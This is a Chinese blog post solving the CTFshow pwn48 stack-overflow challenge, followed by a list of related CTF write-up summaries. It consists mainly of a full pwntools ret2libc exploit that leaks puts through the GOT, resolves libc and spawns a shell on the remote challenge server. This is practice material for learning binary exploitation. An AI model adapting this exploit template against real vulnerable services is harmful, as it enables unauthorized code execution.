ctfshow [栈溢出]---pwn48

CTFshow-PWN入门-栈溢出pwn35~pwn40 本文主要详解CTFshow中pwn入门系列的栈溢出模块的前6题所用工具:linux环境下的虚拟机、IDA Pro、exeinfope参考文章:以下操作中小编用的都是自己的kali环境。 阅读详情

和前面的题一样的套路很简单

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='i386', os='linux')
# context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28149)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.27.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

ru("O.o?")
leak_puts_plt = elf.plt['puts']
leak_puts_got = elf.got['puts']
ret_addr = elf.symbols["ctfshow"]

payload = b"a"*(0x6b+4)+p32(leak_puts_plt)+p32(ret_addr)+p32(leak_puts_got)
sl(payload)
ru("\n")
puts_addr = uu32(r(4))
libc = LibcSearcher("puts",puts_addr)
base_addr = puts_addr-libc.dump("puts")
print("base_addr-----------------_>:",hex(base_addr))

system_addr = base_addr+libc.dump("system")
binsh = base_addr+libc.dump("str_bin_sh")

payload = b"a"*(0x6b+4)+p32(system_addr)+p32(0)+p32(binsh)
sl(payload)
sl("cat flag")




itr()
ctfshow做题笔记—栈溢出—pwn45~pwn48 但是怎么都timeout,偏移量是重新用pwndbg调试出来的,看来确实有点小错误。于是去学习了一些其他大佬的写法,也学到了一些应对办法。两天没更了,因为打了VNCFTF,还是太弱了,只能做一道异形文字的misc就结束了,pwn一直打不通(先打开ida瞅瞅,其实题目也说了无system无/bin/sh。没有write了,试试用puts吧,更简单了呢。被上一道题硬控半天,这道题不会也要被硬控吧。哎呦,确实可以,也算是对模板越来越熟悉了。由于lib库已经装在本地,省大事了。),于是沉默一天,还是继续学习吧。 阅读详情

相关推荐

CTFshow-PWN入门-栈溢出pwn41~pwn48

本文主要详解CTFshow中pwn入门系列的栈溢出模块的其中x题所用工具:linux环境下的虚拟机、IDA Pro、exeinfope以下操作中小编用的都是自己的kali环境。

weixin_63576152的博客 2725

ctfshow pwn45

简单的ret2libc。

saulgoodman的博客 449

CTFshow-pwn入门-栈溢出pwn35-pwn36

CTFshow-pwn入门-栈溢出pwn35-pwn36

你们de4月天的博客 1623

CTFshow-PWN-栈溢出(pwn45)

我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。system 函数属于libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的,即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。PLT用于间接调用共享库中的函数。这些方法和函数通常用于在漏洞利用过程中查找特定函数的地址(例如 system 函数)或特定字符串的地址(例如 /bin/sh 字符串)。

Welcome To My6n Blog 2012

从pwn37到pwn38:深入理解64位栈溢出中‘堆栈平衡’这个关键坑(CTFshow真题复盘)

本文以CTFshow平台的pwn37和pwn38真题为例,深入解析64位栈溢出中的堆栈平衡问题。通过对比32位与64位架构的调用约定差异,揭示64位环境下寄存器传参对栈布局的影响,并提供两种实战解决方案(lev地址和retn地址技术),帮助选手突破64位栈溢出的关键难点。

weixin_30333885的博客 344

CTFshow-PWN-栈溢出(pwn48)

摘要:本文介绍了针对32位程序的ret2libc攻击方法,通过栈溢出利用puts函数泄露真实地址。攻击使用pwntools工具,构造两个payload:第一个通过puts泄露libc地址,第二个执行system("/bin/sh")获取shell。最终成功获取flag,展示了典型的ROP攻击流程。关键步骤包括计算偏移量、定位plt/got表地址、动态查找libc基地址等。

Welcome To My6n Blog 351

ctfshow pwn入门 pwn53

ctfshow pwn入门的pwn53,爆破canary的值,写栈溢出exp求解flag

yyh3155518319的博客 1757

CTFshow-PWN-栈溢出(pwn60-pwn61)

摘要:本文分析了两个CTF pwn题目的解题过程。第一个32位程序(pwn60)存在RWX段和栈溢出漏洞,通过将shellcode写入.bss段并跳转执行成功getshell。第二个64位程序(pwn61)虽然开启了PIE保护,但通过printf泄露栈地址,由于shellcode空间不足,改用将shellcode写入栈中不受影响的偏移位置(v5_addr+0x20)成功执行。两个题目分别通过远程攻击获得flag:ctfshow{9129ee6c-b09e-47b8-addd-9accb8932587}和ct

Welcome To My6n Blog 1229

【CTFshow-pwn系列】03_栈溢出【pwn 036】详解:Ret2Text 与后门利用

本文仅用于合法技术研究,禁止非法用途。Pwn036 核心是栈溢出经典的 Ret2Text 利用,程序保护极弱,无栈哨兵、关闭 PIE 且 NX 禁用,代码段地址固定。main 函数调用的 ctfshow 函数含 gets 高危漏洞,缓冲区仅 40 字节,填充 44 字节可覆盖返回地址。程序隐藏未调用的 get_flag 后门函数,可直接读取打印 Flag。构造 payload 为 44 字节垃圾数据 + get_flag 地址,覆盖返回地址劫持程序流,触发后门即可获取 Flag。

一只枷锁的博客 1623

CTFshow-PWN-栈溢出(pwn65 详细版)

摘要:该64位程序存在PIE保护,包含RWX段,通过read读取用户输入作为shellcode执行。程序会对输入字符进行严格检查,仅允许大小写字母、数字及部分符号(ASCII 48-90)。利用alpha3工具将原始shellcode编码为符合要求的ASCII字符,通过rax寄存器执行。最终成功获取flag:ctfshow{944db499-0c4a-4894-a0a5-3f7aeccec7de}。关键点包括字符过滤机制分析和alpha3编码技术的应用。

Welcome To My6n Blog 1756

CTFshow-PWN-栈溢出(pwn62-pwn64)

本文分享了三个PWN题解法:1) pwn62利用24字节shellcode绕过保护;2) pwn63优化至23字节shellcode;3) pwn64在32位程序中直接执行写入的shellcode。每个解法都通过精心构造的payload成功获取flag,展示了不同场景下的漏洞利用技巧。文中包含完整的Python利用代码和获取的flag值。

Welcome To My6n Blog 603

ctfshow刷题笔记—栈溢出—pwn53~pwn56

它先循环读取,每次一个字节,直到读取到换行符(ascll:10 0xa),循环读取才会结束,__isoc99_sscanf(v2,”%d”,&nbytes)这个函数从v2中读取一个整数,存放到nbytes变量中,这个变量决定了我们能够向buf写入的数据大小,我们想要造成溢出,这个数据就需要大一点,接下来,就去比较s1与global_canary是否相同,相同这个函数才能正常返回,造成溢出。,应该需要找到flag之间的关系。主要是提示用户输入数据,输出欢迎信息并让用户输入密码,进行比较,以便执行flag。

Yilanchia的博客 1066

CTFshow-PWN-栈溢出(pwn55)

这是一道32位栈溢出PWN题,利用gets函数漏洞进行ROP攻击。解题思路:通过溢出控制程序流程,先后调用flag_func1(设置flag1为1)和flag_func2(需满足flag1=1且参数为0xACACACAC),最后调用flag函数(需满足flag1&flag2=1且参数为0xBDBDBDBD)。EXP构造了包含三个函数地址和所需参数的payload,成功获取flag。最终flag为ctfshow{e4a15f8b-48a0-46ce-9783-7fa48bef281a}。

Welcome To My6n Blog 400

【CTFshow-pwn系列】03_栈溢出【pwn 048】详解:Ret2Libc 之 Puts 泄露

摘要: 本文针对32位Ret2Libc漏洞利用技术进行详细分析,通过pwn048题目演示完整攻击流程。首先识别程序存在栈溢出漏洞(read读取200字节,缓冲区仅103字节),利用puts函数泄露libc基址。攻击分为两个阶段:1) 构造ROP链泄露puts真实地址;2) 计算system和/bin/sh地址后获取shell。文章提供完整EXP脚本,包含本地调试与远程攻击两种模式,重点解决地址计算、payload构造等关键问题,最终实现权限提升。

一只枷锁的博客 1454

泰克示波器TDS210改装便携示波器

泰克示波器TDS210改装编写示波器

超级网吧的博客 3079

2.4G/4G天线共存方案:Air8101多频段隔离设计实战(附波长计算表)

本文深入探讨了物联网设备中Wi-Fi 2.4GHz与4G LTE天线共存设计的实战方案。针对B40与2.4G频段紧邻带来的干扰挑战,文章系统性地提出了空间隔离、PCB布局优化、结构设计三重防线,并提供了关键的波长计算工具与系统级验证Checklist,旨在帮助工程师将多频段隔离设计从“玄学”变为可执行的工程规范。

weixin_29197051的博客 389

【CTFshow-pwn系列】03_栈溢出【pwn 053】详解:逐字节爆破!手写 Canary 的终极破解

本文详解 CTFshow PWN 053 关卡,核心是破解出题人手写的 Canary 保护。关卡虽 checksec 显示无 Canary,但程序会从 /canary.txt 读取 4 字节存入全局变量,再拷贝到栈中作为哨兵。ctfshow 函数存在栈溢出漏洞,但会校验栈上 Canary 完整性,因 Canary 值固定,可逐字节爆破。通过输入 - 1 利用整数溢出实现无限读取,爆破出 Canary 后,构造 payload 绕过校验、跳转 flag 函数获取 flag,同时记录本地调试陷阱及解决方法。

一只枷锁的博客 1090

域用户无法修改密码问题的解决方案

问题描述:加域的电脑无法更改密码,提示“无法更新密码,为新密码提供的值不符合字符域的长度、复杂度或历史要求”。 问题原因:域控制器中相关设置问题,主要如下图所示(如启用复杂性、最短期限和强制密码历史) 解决方案:在域控制器中更改对应的密码策略即可: ① 禁用复杂性要求 ② 最短使用期限改为0天 ③ 强制密码历史改为0 如果出现无法更改的情况,如下图箭头所指的图标所示 代表需要在域控制器的组策...

运维日记 3万+

【CTFshow-pwn系列】03_栈溢出【pwn 055】详解:多级函数链式调用与精准栈布局

本文分析了PWN 055题目的技术要点,展示了如何通过栈溢出漏洞实现三重函数链式调用。题目设置了flag_func1、flag_func2和flag三个关键函数,需要通过特定参数顺序触发。作者详细解析了32位程序中的栈布局原理,演示了如何构造包含函数地址和参数的payload,利用ret指令实现连续跳转。最后提供了完整的EXP代码,并强调了该技术仅限合法授权下的安全研究使用,禁止用于非法目的。整个分析过程突出了ROP技术的核心思想,为二进制安全研究提供了典型范例。

一只枷锁的博客 1226

Colmap中 patchmatch源码

惊世骇俗的Colmap PatchMatch源码 500多行,简明易懂 先了解PatchMatch的options: max_image_size: 任一维度的最大图像尺寸 gpu_index: gpu的下标 depth_min,depth_max: 随机采样的深度范围 window_radius:用于计算NCC(两图片的归一化互相关),NCC的计算需要用到 win_size. 图像匹配 | NCC 归一化互相关损失 | 代码 + 讲解 - 知乎 (zhihu.com) window_step: 用.

qq_24884193的博客 2210

【Linux命令大全】006.网络通讯之netstat命令(实操篇)

本文详细介绍了Linux系统中netstat网络诊断命令的实用技巧。主要内容包括:1) 基本功能与参数详解,展示如何查看网络连接、路由表和接口统计;2) 安装方法及基础用法,如查看TCP/UDP连接、显示进程信息和路由表;3) 高级应用技巧,包括监听端口检查、连接状态统计和实时监控。文章通过表格和代码示例,系统性地呈现了netstat在系统管理中的核心应用场景,是网络故障排查和性能监控的实用指南。

yuhuasheng1997的博客 705

CTFshow-pwn入门-栈溢出 (慢慢更

当应用程序试图对无权访问的内存地址进行读写操作时,会调用 sigsegv_handler 函数,sigsegv_handler 函数 会把stderr打印输出,即将flag的值打印输出那么我们直接输入超长数据就会溢出,程序就会崩溃进而打印出flag。char dest;该函数无法限制输入的长度,可能会超出s数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,且提供后门函数 get_flag()堆栈不可执行,不过有后门函数,跟进 ctfshow 函数,read 可以读取 50 个字节。

akdelt的博客 4963

特殊通信领域场景应用:基于Simulink的数字预失真(DPD)算法仿真建模示例

增益压缩:高功率输入时输出信号的增益下降。相位失真:输入信号的相位随功率变化而改变。带外干扰:非线性失真会引入额外的频谱分量,影响邻道信号。多项式模型:用多项式拟合功率放大器的非线性特性。查找表(LUT):通过离线训练生成预失真映射表。自适应算法:实时调整预失真参数以动态补偿失真。发送端:生成随机比特流并调制为射频信号。预失真模块:对输入信号进行预失真处理。功率放大器模块:模拟非线性失真。接收端:解调信号并评估误码率(BER)。

xiaoheshang_123的博客 272

CTFSHOW-PWN(61-65)

本文总结了5道PWN入门题目的解题思路和EXP编写方法。61-63题主要通过泄露地址、注入shellcode的方式绕过保护;64题利用mmap分配的可执行区域直接执行shellcode;65题需要构造可打印字符的shellcode绕过字符检查。所有题目均未开启NX保护,允许直接执行shellcode,其中部分题目涉及地址泄露、堆栈平衡等技巧。解题时需注意不同题目在函数调用(gets/read)、shellcode长度限制等方面的差异,并针对性地调整payload。通过pwntools工具编写EXP,成功获取

2402_88443449的博客 686

comsol如何实现五厚度的单元模拟?

🏆本文收录于 《全栈 Bug 调优(实战版)》 专栏。专栏聚焦真实项目中的各类疑难 Bug,从成因剖析 → 排查路径 → 解决方案 → 预防优化全链路拆解,形成一套可复用、可沉淀的实战知识体系。无论你是初入职场的开发者,还是负责复杂项目的资深工程师,都可以在这里构建一套属于自己的「问题诊断与性能调优」方法论,助你稳步进阶、放大技术价值 。

**My Coding Family** 470

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

上一篇: ctfshow [栈溢出]---pwn47
下一篇: ctfshow [栈溢出]系列------49-90 持续更新
saulgoodman-q
博客等级 码龄6年 828粉丝 52原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值